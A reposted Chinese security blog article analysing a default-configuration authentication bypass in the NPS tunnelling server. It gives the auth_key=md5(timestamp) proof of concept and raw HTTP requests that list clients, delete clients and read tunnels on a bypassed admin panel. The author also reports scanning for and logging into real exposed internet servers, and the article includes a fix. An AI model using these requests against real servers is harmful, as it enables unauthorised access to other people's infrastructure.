NPS反制之绕过登陆验证
The following article is from 藏剑安全 Author li1u
公众号现在只对常读和星标的公众号才展示大图推送,
建议大家把听风安全设为星标,否则可能就看不到啦!
----------------------------------------------------------------------
NPS- 一款轻量级、高性能、功能强大的内网穿透代理服务器
1.前言
看了师傅的一个文章,感觉挺有意思的,尝试记录下来,结尾有"惊吓"
GitHub下载NPS的releases:https://github.com/ehang-io/nps/releases/tag/v0.26.10
为了本地测试使用,只下载Windows的server端和NPS的源码到本地。
内网穿透代理工具诸如frp、nps、 reGeorg等,各有千秋吧,我个人用的nps比较多。
2.NPS
解压nps之后,会有一个conf和web文件夹、以及一个nps的可执行程序
conf:可配置文件,可修改ip、端口、登陆密码等
web:nps中web管理系统的静态资源文件
直接进入nps目录,运行nps
在配置文件conf中,有IP、端口、以及默认用户名口令admin/123,(默认用户名口令一定要改),默认端口8080也建议更改。
直接访问nps后台,输入admin/123登陆后台
进入后台首页:
客户端模块,配置隧道、在npc端机器运行命令即可"上线"
3.默认配置-绕过登陆验证
正常情况下,NPS需要登陆之后才可进行后续操作,但是NPS中有默认配置,假如未修改默认配置的话,我们就可以绕过身份验证访问后台。
打开NPS的源码文件,在web目录下的controllers目录(和php有些类似)
在base.go文件中,第36行代码处
条件判断的大概意思就是如果md5key值不为空并且当前时间戳与给定的timestamp之间的差小于等于20,并且通过对configKey和timestamp进行加密得到的结果与md5key相等,结果就是true
如果auth不为真,那就302跳转到登陆页,如果为真,那就作为模板数据传递。
整块代码的意思就是从请求中获取auth_key和timestamp、从配置文件中获取auth_key,并赋值给configKey
但是在nps.conf中,auth_key是注释掉的:
所以我们只需要在请求中添加auth_key与timestamp,即可绕过身份验证(登陆成功跳转index/index)
POC:
index/index?auth_key=xxx×tamp=xxx
通俗易懂的就是auth_key=md5(timestamp)
编写脚本获取POC:
携带POC直接绕过登陆验证尝试访问后台(只有20S的时间,过期需重新生成)
4.NPS反制
绕过登陆验证之后,可以在后台进行任意操作
查看客户端列表:
修改配置:
来个有意思的的:
后台所有的功能都可以携带auth_key和timestamp进行操作
删除客户端:
删除id为2的客户端:
POST /client/del?auth_key=b57ab4e636cbaa4dda1a0256ae597080×tamp=1685604329 HTTP/1.1
Host: xxx
Content-Length: 4
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
id=2
查询客户端列表:
POST /client/list?auth_key=83a737f7d232957e7a7821ff6091f149×tamp=1685604434 HTTP/1.1
Host: xxx
Content-Length: 35
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
search=&order=asc&offset=0&limit=10
本地搭建的,npc端未设置,仅作测试用,师傅们想进行更多的操作,手动抓包测试即可。
5.分析
在nps中,路径下加auth/getauthkey可获取到加密后的crypt_auth_key
这个加密后的crypt_auth_key就是默认的授权密钥,也就是加密后的密文,加密方式是AES算法的CBC模式
在nps.conf中,auth_crypt_key(密钥)是16位的,且默认的auth_crypt_key(密钥)是1234567812345678,所以经过AES加密之后的密文就是crypt_auth_key=5acabcf051cd55abca03d18294422e01,所以访问auth/getauthkey获取到的crypt_auth_key就是AES加密的密文,密钥就是auth_crypt_key的值(可随意更改、满足16位即可)
有POC有针对于这个默认的授权密钥的,判断返回包里内容是否存在5acabcf051cd55abca03d18294422e01
当时觉得单判断默认的crypt_auth_key是不严谨的,因为绕过登陆验证归根究底的原因是auth_key默认被注释掉了,所以说条件语句中只要携带了auth_key与timestamp两个参数并且满足条件就可以绕过登录认证。
"crypt_auth_key": "5acabcf051cd55abca03d18294422e01"
#auth_key=test
auth_crypt_key =1234567812345678
crypt_auth_key密文是由明文test经过AES的CBC模式进行加密得到的,加密密钥是1234567812345678
(1)那么如果auth_key没有被注释,继续看看会怎么样
crypt_auth_key已经不再是默认的5acabcf051cd55abca03d18294422e01,注释去掉之后的密文变成了04acf026285da15817ac9a072c1259ac,不存在绕过登陆验证,携带着POC访问后台,页面跳转到登录页
(2) 如果auth_key被注释了,修改加密密钥auth_crypt_key,看看会怎么样:
密文同样改变,因为加密密钥改变,密文肯定变,尝试绕过登陆验证
成功绕过登陆验证,获取客户端列表🐓队。
综上所述:单说NPS啊,不提加密向量不一样什么的导致的加密结果不一样
加密密钥如果没被修改,auth_key=test有注释,那么密文一定是:5acabcf051cd55abca03d18294422e01 ---登陆绕过存在
加密密钥如果没被修改,auth_key=test取消注释,那么密文一定是:04acf026285da15817ac9a072c1259ac ---登陆绕过不存在
如果密钥被修改,auth_key=test有注释,那么密文一定不是上述这两个 ---登陆绕过存在
如果密钥被修改,auth_key=test取消注释,那么登陆绕过肯定不存在
所以说,POC还是有道理的,因为如果加密密钥是默认的1234567812345678,auth_key=test有注释,那么密文一定是5acabcf051cd55abca03d18294422e01,那么登陆绕过就一定存在
正反推
修复建议:去掉#auth_key=test的注释即可,想下载源代码重新编译的也可以,密钥也可以看个人情况修改什么的。
来一组互联网案例,用afrog编写POC(探测密文是5acabcf051cd55abca03d18294422e01),也就是说加密密钥未修改,auth_key=test有注释,一定存在登陆绕过的互联网案例
在来一组成功绕过登陆进入后台的互联网案例,挺多的:
第二种反制手段就是注册,在nps.conf中,默认关闭注册功能以及注册用户登陆功能
假如开启注册的话:
首页就会出现注册按钮(默认情况下是没有的):
尝试注册登陆:
成功进入后台:需将allow_user_login=true,意为允许注册用户进行登陆,否则登录是不成功的
虽然登陆成功,但是权限会少很多,起码可以修改(较登陆绕过鸡肋一点):
以上就是个人的分析思路,如有不足,请见谅。
最后,你懂的(仅仅只做验证,并未进行敏感操作!!!):
别找了,你想要的在下边:
POST /index/gettunnel?auth_key=5d712b45490f8ac1f630f9cce0a5e173×tamp=1685638945 HTTP/1.1
Host: xxx
Content-Length: 35
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
offset=0&limit=10&type=&client_id=3&search=